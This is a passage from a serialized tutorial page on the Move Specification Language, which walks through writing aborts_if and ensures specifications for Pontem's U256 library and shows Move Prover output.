Language",{"type":22,"tag":23,"props":10662,"children":10663},{},[10664],{"type":27,"value":10665},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":22,"tag":23,"props":10667,"children":10668},{},[10669,10671,10678],{"type":27,"value":10670},"To better understand how to use the MSL, we will use ",{"type":22,"tag":69,"props":10672,"children":10675},{"href":10673,"rel":10674},"https://github.com/pontem-network/u256",[73],[10676],{"type":27,"value":10677},"Pontem's U256 library",{"type":27,"value":10679},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":22,"tag":23,"props":10681,"children":10682},{},[10683],{"type":27,"value":10684},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":22,"tag":618,"props":10686,"children":10688},{"code":10687,"language":4273,"meta":7,"className":4274,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[10689],{"type":22,"tag":257,"props":10690,"children":10691},{"__ignoreMap":7},[10692,10735,10755,10775,10795,10815],{"type":22,"tag":264,"props":10693,"children":10694},{"class":1534,"line":1535},[10695,10700,10704,10709,10714,10718,10723,10727,10731],{"type":22,"tag":264,"props":10696,"children":10697},{"style":4293},[10698],{"type":27,"value":10699},"struct",{"type":22,"tag":264,"props":10701,"children":10702},{"style":4722},[10703],{"type":27,"value":6024},{"type":22,"tag":264,"props":10705,"children":10706},{"style":1549},[10707],{"type":27,"value":10708}," has",{"type":22,"tag":264,"props":10710,"children":10711},{"style":1549},[10712],{"type":27,"value":10713}," copy",{"type":22,"tag":264,"props":10715,"children":10716},{"style":1539},[10717],{"type":27,"value":4380},{"type":22,"tag":264,"props":10719,"children":10720},{"style":1549},[10721],{"type":27,"value":10722},"drop",{"type":22,"tag":264,"props":10724,"children":10725},{"style":1539},[10726],{"type":27,"value":4380},{"type":22,"tag":264,"props":10728,"children":10729},{"style":1549},[10730],{"type":27,"value":7232},{"type":22,"tag":264,"props":10732,"children":10733},{"style":1539},[10734],{"type":27,"value":4594},{"type":22,"tag":264,"props":10736,"children":10737},{"class":1534,"line":1545},[10738,10743,10747,10751],{"type":22,"tag":264,"props":10739,"children":10740},{"style":1549},[10741],{"type":27,"value":10742},"    v0",{"type":22,"tag":264,"props":10744,"children":10745},{"style":4309},[10746],{"type":27,"value":5785},{"type":22,"tag":264,"props":10748,"children":10749},{"style":4722},[10750],{"type":27,"value":7151},{"type":22,"tag":264,"props":10752,"children":10753},{"style":1539},[10754],{"type":27,"value":4812},{"type":22,"tag":264,"props":10756,"children":10757},{"class":1534,"line":1560},[10758,10763,10767,10771],{"type":22,"tag":264,"props":10759,"children":10760},{"style":1549},[10761],{"type":27,"value":10762},"    v1",{"type":22,"tag":264,"props":10764,"children":10765},{"style":4309},[10766],{"type":27,"value":5785},{"type":22,"tag":264,"props":10768,"children":10769},{"style":4722},[10770],{"type":27,"value":7151},{"type":22,"tag":264,"props":10772,"children":10773},{"style":1539},[10774],{"type":27,"value":4812},{"type":22,"tag":264,"props":10776,"children":10777},{"class":1534,"line":1569},[10778,10783,10787,10791],{"type":22,"tag":264,"props":10779,"children":10780},{"style":1549},[10781],{"type":27,"value":10782},"    v2",{"type":22,"tag":264,"props":10784,"children":10785},{"style":4309},[10786],{"type":27,"value":5785},{"type":22,"tag":264,"props":10788,"children":10789},{"style":4722},[10790],{"type":27,"value":7151},{"type":22,"tag":264,"props":10792,"children":10793},{"style":1539},[10794],{"type":27,"value":4812},{"type":22,"tag":264,"props":10796,"children":10797},{"class":1534,"line":1583},[10798,10803,10807,10811],{"type":22,"tag":264,"props":10799,"children":10800},{"style":1549},[10801],{"type":27,"value":10802},"    v3",{"type":22,"tag":264,"props":10804,"children":10805},{"style":4309},[10806],{"type":27,"value":5785},{"type":22,"tag":264,"props":10808,"children":10809},{"style":4722},[10810],{"type":27,"value":7151},{"type":22,"tag":264,"props":10812,"children":10813},{"style":1539},[10814],{"type":27,"value":4812},{"type":22,"tag":264,"props":10816,"children":10817},{"class":1534,"line":1603},[10818],{"type":22,"tag":264,"props":10819,"children":10820},{"style":1539},[10821],{"type":27,"value":1692},{"type":22,"tag":23,"props":10823,"children":10824},{},[10825,10827,10833],{"type":27,"value":10826},"Now, let's consider the ",{"type":22,"tag":257,"props":10828,"children":10830},{"className":10829},[],[10831],{"type":27,"value":10832},"add(a: U256, b: U256): U256",{"type":27,"value":10834}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":22,"tag":23,"props":10836,"children":10837},{},[10838],{"type":27,"value":10839},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":22,"tag":23,"props":10841,"children":10842},{},[10843,10845,10851,10853,10860],{"type":27,"value":10844},"For example, if your file is ",{"type":22,"tag":257,"props":10846,"children":10848},{"className":10847},[],[10849],{"type":27,"value":10850},"sources/u256.move",{"type":27,"value":10852},", you can put specifications in ",{"type":22,"tag":69,"props":10854,"children":10857},{"href":10855,"rel":10856},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[73],[10858],{"type":27,"value":10859},"sources/u256.spec.move",{"type":27,"value":210},{"type":22,"tag":618,"props":10862,"children":10864},{"code":10863,"language":4273,"meta":7,"className":4274,"style":7},"spec add { ... }\n",[10865],{"type":22,"tag":257,"props":10866,"children":10867},{"__ignoreMap":7},[10868],{"type":22,"tag":264,"props":10869,"children":10870},{"class":1534,"line":1535},[10871,10875,10880,10885,10890],{"type":22,"tag":264,"props":10872,"children":10873},{"style":1549},[10874],{"type":27,"value":9569},{"type":22,"tag":264,"props":10876,"children":10877},{"style":1549},[10878],{"type":27,"value":10879}," add",{"type":22,"tag":264,"props":10881,"children":10882},{"style":1539},[10883],{"type":27,"value":10884}," { ",{"type":22,"tag":264,"props":10886,"children":10887},{"style":4309},[10888],{"type":27,"value":10889},"...",{"type":22,"tag":264,"props":10891,"children":10892},{"style":1539},[10893],{"type":27,"value":10894}," }\n",{"type":22,"tag":23,"props":10896,"children":10897},{},[10898,10900,10905],{"type":27,"value":10899},"The specifications placed inside the specification blocks are considered ",{"type":22,"tag":1699,"props":10901,"children":10902},{},[10903],{"type":27,"value":10904},"Expressions",{"type":27,"value":210},{"type":22,"tag":181,"props":10907,"children":10909},{"id":10908},"expressions",[10910],{"type":27,"value":10904},{"type":22,"tag":23,"props":10912,"children":10913},{},[10914],{"type":27,"value":10915},"Let's go over some common expressions.",{"type":22,"tag":23,"props":10917,"children":10918},{},[10919,10924],{"type":22,"tag":257,"props":10920,"children":10922},{"className":10921},[],[10923],{"type":27,"value":9619},{"type":27,"value":10925}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":22,"tag":23,"props":10927,"children":10928},{},[10929,10931,10937],{"type":27,"value":10930},"For example, the ",{"type":22,"tag":257,"props":10932,"children":10934},{"className":10933},[],[10935],{"type":27,"value":10936},"add",{"type":27,"value":10938}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":22,"tag":618,"props":10940,"children":10942},{"code":10941,"language":4273,"meta":7,"className":4274,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[10943],{"type":22,"tag":257,"props":10944,"children":10945},{"__ignoreMap":7},[10946,10980,10987,11036,11058,11087,11124,11165,11172,11179,11194,11275],{"type":22,"tag":264,"props":10947,"children":10948},{"class":1534,"line":1535},[10949,10954,10959,10963,10967,10971,10976],{"type":22,"tag":264,"props":10950,"children":10951},{"style":4293},[10952],{"type":27,"value":10953},"const",{"type":22,"tag":264,"props":10955,"children":10956},{"style":1539},[10957],{"type":27,"value":10958}," P64",{"type":22,"tag":264,"props":10960,"children":10961},{"style":4309},[10962],{"type":27,"value":5785},{"type":22,"tag":264,"props":10964,"children":10965},{"style":4722},[10966],{"type":27,"value":10142},{"type":22,"tag":264,"props":10968,"children":10969},{"style":4309},[10970],{"type":27,"value":4312},{"type":22,"tag":264,"props":10972,"children":10973},{"style":4344},[10974],{"type":27,"value":10975}," 0x10000000000000000",{"type":22,"tag":264,"props":10977,"children":10978},{"style":1539},[10979],{"type":27,"value":4322},{"type":22,"tag":264,"props":10981,"children":10982},{"class":1534,"line":1545},[10983],{"type":22,"tag":264,"props":10984,"children":10985},{"emptyLinePlaceholder":17},[10986],{"type":27,"value":4986},{"type":22,"tag":264,"props":10988,"children":10989},{"class":1534,"line":1560},[10990,10994,10998,11003,11007,11011,11015,11019,11023,11027,11032],{"type":22,"tag":264,"props":10991,"children":10992},{"style":1549},[10993],{"type":27,"value":9569},{"type":22,"tag":264,"props":10995,"children":10996},{"style":1549},[10997],{"type":27,"value":7499},{"type":22,"tag":264,"props":10999,"children":11000},{"style":4401},[11001],{"type":27,"value":11002}," value_of_U256",{"type":22,"tag":264,"props":11004,"children":11005},{"style":1539},[11006],{"type":27,"value":2660},{"type":22,"tag":264,"props":11008,"children":11009},{"style":1549},[11010],{"type":27,"value":69},{"type":22,"tag":264,"props":11012,"children":11013},{"style":4309},[11014],{"type":27,"value":5785},{"type":22,"tag":264,"props":11016,"children":11017},{"style":4722},[11018],{"type":27,"value":6024},{"type":22,"tag":264,"props":11020,"children":11021},{"style":1539},[11022],{"type":27,"value":2806},{"type":22,"tag":264,"props":11024,"children":11025},{"style":4309},[11026],{"type":27,"value":5785},{"type":22,"tag":264,"props":11028,"children":11029},{"style":1549},[11030],{"type":27,"value":11031}," num",{"type":22,"tag":264,"props":11033,"children":11034},{"style":1539},[11035],{"type":27,"value":4594},{"type":22,"tag":264,"props":11037,"children":11038},{"class":1534,"line":1569},[11039,11044,11048,11053],{"type":22,"tag":264,"props":11040,"children":11041},{"style":1549},[11042],{"type":27,"value":11043},"    a",{"type":22,"tag":264,"props":11045,"children":11046},{"style":4309},[11047],{"type":27,"value":210},{"type":22,"tag":264,"props":11049,"children":11050},{"style":1539},[11051],{"type":27,"value":11052},"v0 ",{"type":22,"tag":264,"props":11054,"children":11055},{"style":4309},[11056],{"type":27,"value":11057},"+\n",{"type":22,"tag":264,"props":11059,"children":11060},{"class":1534,"line":1583},[11061,11065,11069,11074,11078,11082],{"type":22,"tag":264,"props":11062,"children":11063},{"style":1549},[11064],{"type":27,"value":11043},{"type":22,"tag":264,"props":11066,"children":11067},{"style":4309},[11068],{"type":27,"value":210},{"type":22,"tag":264,"props":11070,"children":11071},{"style":1539},[11072],{"type":27,"value":11073},"v1 ",{"type":22,"tag":264,"props":11075,"children":11076},{"style":4309},[11077],{"type":27,"value":5865},{"type":22,"tag":264,"props":11079,"children":11080},{"style":4722},[11081],{"type":27,"value":10958},{"type":22,"tag":264,"props":11083,"children":11084},{"style":4309},[11085],{"type":27,"value":11086}," +\n",{"type":22,"tag":264,"props":11088,"children":11089},{"class":1534,"line":1603},[11090,11094,11098,11103,11107,11111,11116,11120],{"type":22,"tag":264,"props":11091,"children":11092},{"style":1549},[11093],{"type":27,"value":11043},{"type":22,"tag":264,"props":11095,"children":11096},{"style":4309},[11097],{"type":27,"value":210},{"type":22,"tag":264,"props":11099,"children":11100},{"style":1539},[11101],{"type":27,"value":11102},"v2 ",{"type":22,"tag":264,"props":11104,"children":11105},{"style":4309},[11106],{"type":27,"value":5865},{"type":22,"tag":264,"props":11108,"children":11109},{"style":4722},[11110],{"type":27,"value":10958},{"type":22,"tag":264,"props":11112,"children":11113},{"style":4309},[11114],{"type":27,"value":11115}," *",{"type":22,"tag":264,"props":11117,"children":11118},{"style":4722},[11119],{"type":27,"value":10958},{"type":22,"tag":264,"props":11121,"children":11122},{"style":4309},[11123],{"type":27,"value":11086},{"type":22,"tag":264,"props":11125,"children":11126},{"class":1534,"line":1612},[11127,11131,11135,11140,11144,11148,11152,11156,11160],{"type":22,"tag":264,"props":11128,"children":11129},{"style":1549},[11130],{"type":27,"value":11043},{"type":22,"tag":264,"props":11132,"children":11133},{"style":4309},[11134],{"type":27,"value":210},{"type":22,"tag":264,"props":11136,"children":11137},{"style":1539},[11138],{"type":27,"value":11139},"v3 ",{"type":22,"tag":264,"props":11141,"children":11142},{"style":4309},[11143],{"type":27,"value":5865},{"type":22,"tag":264,"props":11145,"children":11146},{"style":4722},[11147],{"type":27,"value":10958},{"type":22,"tag":264,"props":11149,"children":11150},{"style":4309},[11151],{"type":27,"value":11115},{"type":22,"tag":264,"props":11153,"children":11154},{"style":4722},[11155],{"type":27,"value":10958},{"type":22,"tag":264,"props":11157,"children":11158},{"style":4309},[11159],{"type":27,"value":11115},{"type":22,"tag":264,"props":11161,"children":11162},{"style":4722},[11163],{"type":27,"value":11164}," P64\n",{"type":22,"tag":264,"props":11166,"children":11167},{"class":1534,"line":1621},[11168],{"type":22,"tag":264,"props":11169,"children":11170},{"style":1539},[11171],{"type":27,"value":1692},{"type":22,"tag":264,"props":11173,"children":11174},{"class":1534,"line":1629},[11175],{"type":22,"tag":264,"props":11176,"children":11177},{"emptyLinePlaceholder":17},[11178],{"type":27,"value":4986},{"type":22,"tag":264,"props":11180,"children":11181},{"class":1534,"line":1642},[11182,11186,11190],{"type":22,"tag":264,"props":11183,"children":11184},{"style":1549},[11185],{"type":27,"value":9569},{"type":22,"tag":264,"props":11187,"children":11188},{"style":1549},[11189],{"type":27,"value":10879},{"type":22,"tag":264,"props":11191,"children":11192},{"style":1539},[11193],{"type":27,"value":4594},{"type":22,"tag":264,"props":11195,"children":11196},{"class":1534,"line":1660},[11197,11202,11206,11210,11214,11218,11222,11226,11230,11234,11238,11243,11247,11251,11255,11259,11263,11267,11271],{"type":22,"tag":264,"props":11198,"children":11199},{"style":1549},[11200],{"type":27,"value":11201},"    aborts_if",{"type":22,"tag":264,"props":11203,"children":11204},{"style":4401},[11205],{"type":27,"value":11002},{"type":22,"tag":264,"props":11207,"children":11208},{"style":1539},[11209],{"type":27,"value":2660},{"type":22,"tag":264,"props":11211,"children":11212},{"style":1549},[11213],{"type":27,"value":69},{"type":22,"tag":264,"props":11215,"children":11216},{"style":1539},[11217],{"type":27,"value":4390},{"type":22,"tag":264,"props":11219,"children":11220},{"style":4309},[11221],{"type":27,"value":673},{"type":22,"tag":264,"props":11223,"children":11224},{"style":4401},[11225],{"type":27,"value":11002},{"type":22,"tag":264,"props":11227,"children":11228},{"style":1539},[11229],{"type":27,"value":2660},{"type":22,"tag":264,"props":11231,"children":11232},{"style":1549},[11233],{"type":27,"value":2181},{"type":22,"tag":264,"props":11235,"children":11236},{"style":1539},[11237],{"type":27,"value":4390},{"type":22,"tag":264,"props":11239,"children":11240},{"style":4309},[11241],{"type":27,"value":11242},">=",{"type":22,"tag":264,"props":11244,"children":11245},{"style":4722},[11246],{"type":27,"value":10958},{"type":22,"tag":264,"props":11248,"children":11249},{"style":4309},[11250],{"type":27,"value":11115},{"type":22,"tag":264,"props":11252,"children":11253},{"style":4722},[11254],{"type":27,"value":10958},{"type":22,"tag":264,"props":11256,"children":11257},{"style":4309},[11258],{"type":27,"value":11115},{"type":22,"tag":264,"props":11260,"children":11261},{"style":4722},[11262],{"type":27,"value":10958},{"type":22,"tag":264,"props":11264,"children":11265},{"style":4309},[11266],{"type":27,"value":11115},{"type":22,"tag":264,"props":11268,"children":11269},{"style":4722},[11270],{"type":27,"value":10958},{"type":22,"tag":264,"props":11272,"children":11273},{"style":1539},[11274],{"type":27,"value":4322},{"type":22,"tag":264,"props":11276,"children":11277},{"class":1534,"line":1668},[11278],{"type":22,"tag":264,"props":11279,"children":11280},{"style":1539},[11281],{"type":27,"value":1692},{"type":22,"tag":23,"props":11283,"children":11284},{},[11285,11287,11294],{"type":27,"value":11286},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":22,"tag":69,"props":11288,"children":11291},{"href":11289,"rel":11290},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[73],[11292],{"type":27,"value":11293},"MSL function",{"type":27,"value":11295},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":22,"tag":23,"props":11297,"children":11298},{},[11299,11301,11306,11307,11312],{"type":27,"value":11300},"A common pattern for ",{"type":22,"tag":257,"props":11302,"children":11304},{"className":11303},[],[11305],{"type":27,"value":9619},{"type":27,"value":6791},{"type":22,"tag":257,"props":11308,"children":11310},{"className":11309},[],[11311],{"type":27,"value":9627},{"type":27,"value":11313},", which lets you prove that a function will never abort.",{"type":22,"tag":618,"props":11315,"children":11317},{"code":11316,"language":4273,"meta":7,"className":4274,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[11318],{"type":22,"tag":257,"props":11319,"children":11320},{"__ignoreMap":7},[11321,11337,11352],{"type":22,"tag":264,"props":11322,"children":11323},{"class":1534,"line":1535},[11324,11328,11333],{"type":22,"tag":264,"props":11325,"children":11326},{"style":1549},[11327],{"type":27,"value":9569},{"type":22,"tag":264,"props":11329,"children":11330},{"style":1549},[11331],{"type":27,"value":11332}," critical_function",{"type":22,"tag":264,"props":11334,"children":11335},{"style":1539},[11336],{"type":27,"value":4594},{"type":22,"tag":264,"props":11338,"children":11339},{"class":1534,"line":1545},[11340,11344,11348],{"type":22,"tag":264,"props":11341,"children":11342},{"style":1549},[11343],{"type":27,"value":11201},{"type":22,"tag":264,"props":11345,"children":11346},{"style":4293},[11347],{"type":27,"value":10354},{"type":22,"tag":264,"props":11349,"children":11350},{"style":1539},[11351],{"type":27,"value":4322},{"type":22,"tag":264,"props":11353,"children":11354},{"class":1534,"line":1560},[11355],{"type":22,"tag":264,"props":11356,"children":11357},{"style":1539},[11358],{"type":27,"value":1692},{"type":22,"tag":23,"props":11360,"children":11361},{},[11362,11364,11370],{"type":27,"value":11363},"Another type of expression that we can use is ",{"type":22,"tag":257,"props":11365,"children":11367},{"className":11366},[],[11368],{"type":27,"value":11369},"ensures",{"type":27,"value":11371},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":22,"tag":23,"props":11373,"children":11374},{},[11375,11377,11382,11384,11389],{"type":27,"value":11376},"In the case of the ",{"type":22,"tag":257,"props":11378,"children":11380},{"className":11379},[],[11381],{"type":27,"value":10936},{"type":27,"value":11383}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":22,"tag":242,"props":11385,"children":11386},{},[11387],{"type":27,"value":11388},"MSL uses unbounded numbers",{"type":27,"value":11390},", we're able to very cleanly express this property without worrying about overflows.",{"type":22,"tag":618,"props":11392,"children":11394},{"code":11393,"language":4273,"meta":7,"className":4274,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[11395],{"type":22,"tag":257,"props":11396,"children":11397},{"__ignoreMap":7},[11398,11413,11492,11556],{"type":22,"tag":264,"props":11399,"children":11400},{"class":1534,"line":1535},[11401,11405,11409],{"type":22,"tag":264,"props":11402,"children":11403},{"style":1549},[11404],{"type":27,"value":9569},{"type":22,"tag":264,"props":11406,"children":11407},{"style":1549},[11408],{"type":27,"value":10879},{"type":22,"tag":264,"props":11410,"children":11411},{"style":1539},[11412],{"type":27,"value":4594},{"type":22,"tag":264,"props":11414,"children":11415},{"class":1534,"line":1545},[11416,11420,11424,11428,11432,11436,11440,11444,11448,11452,11456,11460,11464,11468,11472,11476,11480,11484,11488],{"type":22,"tag":264,"props":11417,"children":11418},{"style":1549},[11419],{"type":27,"value":11201},{"type":22,"tag":264,"props":11421,"children":11422},{"style":4401},[11423],{"type":27,"value":11002},{"type":22,"tag":264,"props":11425,"children":11426},{"style":1539},[11427],{"type":27,"value":2660},{"type":22,"tag":264,"props":11429,"children":11430},{"style":1549},[11431],{"type":27,"value":69},{"type":22,"tag":264,"props":11433,"children":11434},{"style":1539},[11435],{"type":27,"value":4390},{"type":22,"tag":264,"props":11437,"children":11438},{"style":4309},[11439],{"type":27,"value":673},{"type":22,"tag":264,"props":11441,"children":11442},{"style":4401},[11443],{"type":27,"value":11002},{"type":22,"tag":264,"props":11445,"children":11446},{"style":1539},[11447],{"type":27,"value":2660},{"type":22,"tag":264,"props":11449,"children":11450},{"style":1549},[11451],{"type":27,"value":2181},{"type":22,"tag":264,"props":11453,"children":11454},{"style":1539},[11455],{"type":27,"value":4390},{"type":22,"tag":264,"props":11457,"children":11458},{"style":4309},[11459],{"type":27,"value":11242},{"type":22,"tag":264,"props":11461,"children":11462},{"style":4722},[11463],{"type":27,"value":10958},{"type":22,"tag":264,"props":11465,"children":11466},{"style":4309},[11467],{"type":27,"value":11115},{"type":22,"tag":264,"props":11469,"children":11470},{"style":4722},[11471],{"type":27,"value":10958},{"type":22,"tag":264,"props":11473,"children":11474},{"style":4309},[11475],{"type":27,"value":11115},{"type":22,"tag":264,"props":11477,"children":11478},{"style":4722},[11479],{"type":27,"value":10958},{"type":22,"tag":264,"props":11481,"children":11482},{"style":4309},[11483],{"type":27,"value":11115},{"type":22,"tag":264,"props":11485,"children":11486},{"style":4722},[11487],{"type":27,"value":10958},{"type":22,"tag":264,"props":11489,"children":11490},{"style":1539},[11491],{"type":27,"value":4322},{"type":22,"tag":264,"props":11493,"children":11494},{"class":1534,"line":1560},[11495,11500,11504,11508,11512,11516,11520,11524,11528,11532,11536,11540,11544,11548,11552],{"type":22,"tag":264,"props":11496,"children":11497},{"style":1549},[11498],{"type":27,"value":11499},"    ensures",{"type":22,"tag":264,"props":11501,"children":11502},{"style":4401},[11503],{"type":27,"value":11002},{"type":22,"tag":264,"props":11505,"children":11506},{"style":1539},[11507],{"type":27,"value":2660},{"type":22,"tag":264,"props":11509,"children":11510},{"style":1549},[11511],{"type":27,"value":10379},{"type":22,"tag":264,"props":11513,"children":11514},{"style":1539},[11515],{"type":27,"value":4390},{"type":22,"tag":264,"props":11517,"children":11518},{"style":4309},[11519],{"type":27,"value":9870},{"type":22,"tag":264,"props":11521,"children":11522},{"style":4401},[11523],{"type":27,"value":11002},{"type":22,"tag":264,"props":11525,"children":11526},{"style":1539},[11527],{"type":27,"value":2660},{"type":22,"tag":264,"props":11529,"children":11530},{"style":1549},[11531],{"type":27,"value":69},{"type":22,"tag":264,"props":11533,"children":11534},{"style":1539},[11535],{"type":27,"value":4390},{"type":22,"tag":264,"props":11537,"children":11538},{"style":4309},[11539],{"type":27,"value":673},{"type":22,"tag":264,"props":11541,"children":11542},{"style":4401},[11543],{"type":27,"value":11002},{"type":22,"tag":264,"props":11545,"children":11546},{"style":1539},[11547],{"type":27,"value":2660},{"type":22,"tag":264,"props":11549,"children":11550},{"style":1549},[11551],{"type":27,"value":2181},{"type":22,"tag":264,"props":11553,"children":11554},{"style":1539},[11555],{"type":27,"value":5142},{"type":22,"tag":264,"props":11557,"children":11558},{"class":1534,"line":1569},[11559],{"type":22,"tag":264,"props":11560,"children":11561},{"style":1539},[11562],{"type":27,"value":1692},{"type":22,"tag":23,"props":11564,"children":11565},{},[11566],{"type":27,"value":11567},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":22,"tag":23,"props":11569,"children":11570},{},[11571],{"type":27,"value":11572},"Let's try to prove the library with the specifications from above:",{"type":22,"tag":618,"props":11574,"children":11576},{"code":11575,"language":5536,"meta":7,"className":5537,"style":7},"$ move prove\n",[11577],{"type":22,"tag":257,"props":11578,"children":11579},{"__ignoreMap":7},[11580],{"type":22,"tag":264,"props":11581,"children":11582},{"class":1534,"line":1535},[11583,11587,11592],{"type":22,"tag":264,"props":11584,"children":11585},{"style":4401},[11586],{"type":27,"value":731},{"type":22,"tag":264,"props":11588,"children":11589},{"style":1597},[11590],{"type":27,"value":11591}," move",{"type":22,"tag":264,"props":11593,"children":11594},{"style":1597},[11595],{"type":27,"value":11596}," prove\n",{"type":22,"tag":23,"props":11598,"children":11599},{},[11600],{"type":27,"value":11601},"It outputs the following error information:",{"type":22,"tag":618,"props":11603,"children":11605},{"code":11604,"language":5536,"meta":7,"className":5537,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[11606],{"type":22,"tag":257,"props":11607,"children":11608},{"__ignoreMap":7},[11609,11617,11624,11686,11707,11797,11865,11877,11885,11892,11899,11906,11924,11985,12002,12019,12091,12107,12115,12122,12172,12179,12196],{"type":22,"tag":264,"props":11610,"children":11611},{"class":1534,"line":1535},[11612],{"type":22,"tag":264,"props":11613,"children":11614},{"style":1539},[11615],{"type":27,"value":11616},"[...]\n",{"type":22,"tag":264,"props":11618,"children":11619},{"class":1534,"line":1545},[11620],{"type":22,"tag":264,"props":11621,"children":11622},{"emptyLinePlaceholder":17},[11623],{"type":27,"value":4986},{"type":22,"tag":264,"props":11625,"children":11626},{"class":1534,"line":1560},[11627,11632,11637,11642,11647,11652,11657,11662,11667,11672,11676,11681],{"type":22,"tag":264,"props":11628,"children":11629},{"style":4401},[11630],{"type":27,"value":11631},"error:",{"type":22,"tag":264,"props":11633,"children":11634},{"style":1597},[11635],{"type":27,"value":11636}," abort",{"type":22,"tag":264,"props":11638,"children":11639},{"style":1597},[11640],{"type":27,"value":11641}," not",{"type":22,"tag":264,"props":11643,"children":11644},{"style":1597},[11645],{"type":27,"value":11646}," covered",{"type":22,"tag":264,"props":11648,"children":11649},{"style":1597},[11650],{"type":27,"value":11651}," by",{"type":22,"tag":264,"props":11653,"children":11654},{"style":1597},[11655],{"type":27,"value":11656}," any",{"type":22,"tag":264,"props":11658,"children":11659},{"style":1597},[11660],{"type":27,"value":11661}," of",{"type":22,"tag":264,"props":11663,"children":11664},{"style":1597},[11665],{"type":27,"value":11666}," the",{"type":22,"tag":264,"props":11668,"children":11669},{"style":1597},[11670],{"type":27,"value":11671}," `",{"type":22,"tag":264,"props":11673,"children":11674},{"style":4401},[11675],{"type":27,"value":9619},{"type":22,"tag":264,"props":11677,"children":11678},{"style":1597},[11679],{"type":27,"value":11680},"`",{"type":22,"tag":264,"props":11682,"children":11683},{"style":4401},[11684],{"type":27,"value":11685}," clauses\n",{"type":22,"tag":264,"props":11687,"children":11688},{"class":1534,"line":1569},[11689,11694,11699,11703],{"type":22,"tag":264,"props":11690,"children":11691},{"style":4401},[11692],{"type":27,"value":11693},"╭",{"type":22,"tag":264,"props":11695,"children":11696},{"style":1597},[11697],{"type":27,"value":11698},"     spec",{"type":22,"tag":264,"props":11700,"children":11701},{"style":1597},[11702],{"type":27,"value":10879},{"type":22,"tag":264,"props":11704,"children":11705},{"style":1597},[11706],{"type":27,"value":4594},{"type":22,"tag":264,"props":11708,"children":11709},{"class":1534,"line":1583},[11710,11715,11720,11724,11728,11732,11736,11740,11744,11748,11752,11756,11761,11765,11769,11773,11777,11781,11785,11789,11793],{"type":22,"tag":264,"props":11711,"children":11712},{"style":4309},[11713],{"type":27,"value":11714},"|",{"type":22,"tag":264,"props":11716,"children":11717},{"style":4401},[11718],{"type":27,"value":11719},"         aborts_if",{"type":22,"tag":264,"props":11721,"children":11722},{"style":1597},[11723],{"type":27,"value":11002},{"type":22,"tag":264,"props":11725,"children":11726},{"style":1539},[11727],{"type":27,"value":2660},{"type":22,"tag":264,"props":11729,"children":11730},{"style":4401},[11731],{"type":27,"value":69},{"type":22,"tag":264,"props":11733,"children":11734},{"style":1539},[11735],{"type":27,"value":4390},{"type":22,"tag":264,"props":11737,"children":11738},{"style":1597},[11739],{"type":27,"value":673},{"type":22,"tag":264,"props":11741,"children":11742},{"style":1597},[11743],{"type":27,"value":11002},{"type":22,"tag":264,"props":11745,"children":11746},{"style":1539},[11747],{"type":27,"value":2660},{"type":22,"tag":264,"props":11749,"children":11750},{"style":4401},[11751],{"type":27,"value":2181},{"type":22,"tag":264,"props":11753,"children":11754},{"style":1539},[11755],{"type":27,"value":4390},{"type":22,"tag":264,"props":11757,"children":11758},{"style":4309},[11759],{"type":27,"value":11760},">",{"type":22,"tag":264,"props":11762,"children":11763},{"style":1597},[11764],{"type":27,"value":429},{"type":22,"tag":264,"props":11766,"children":11767},{"style":1597},[11768],{"type":27,"value":10958},{"type":22,"tag":264,"props":11770,"children":11771},{"style":4293},[11772],{"type":27,"value":11115},{"type":22,"tag":264,"props":11774,"children":11775},{"style":1597},[11776],{"type":27,"value":10958},{"type":22,"tag":264,"props":11778,"children":11779},{"style":4293},[11780],{"type":27,"value":11115},{"type":22,"tag":264,"props":11782,"children":11783},{"style":1597},[11784],{"type":27,"value":10958},{"type":22,"tag":264,"props":11786,"children":11787},{"style":4293},[11788],{"type":27,"value":11115},{"type":22,"tag":264,"props":11790,"children":11791},{"style":1597},[11792],{"type":27,"value":10958},{"type":22,"tag":264,"props":11794,"children":11795},{"style":1539},[11796],{"type":27,"value":4322},{"type":22,"tag":264,"props":11798,"children":11799},{"class":1534,"line":1603},[11800,11804,11809,11813,11817,11821,11825,11829,11833,11837,11841,11845,11849,11853,11857,11861],{"type":22,"tag":264,"props":11801,"children":11802},{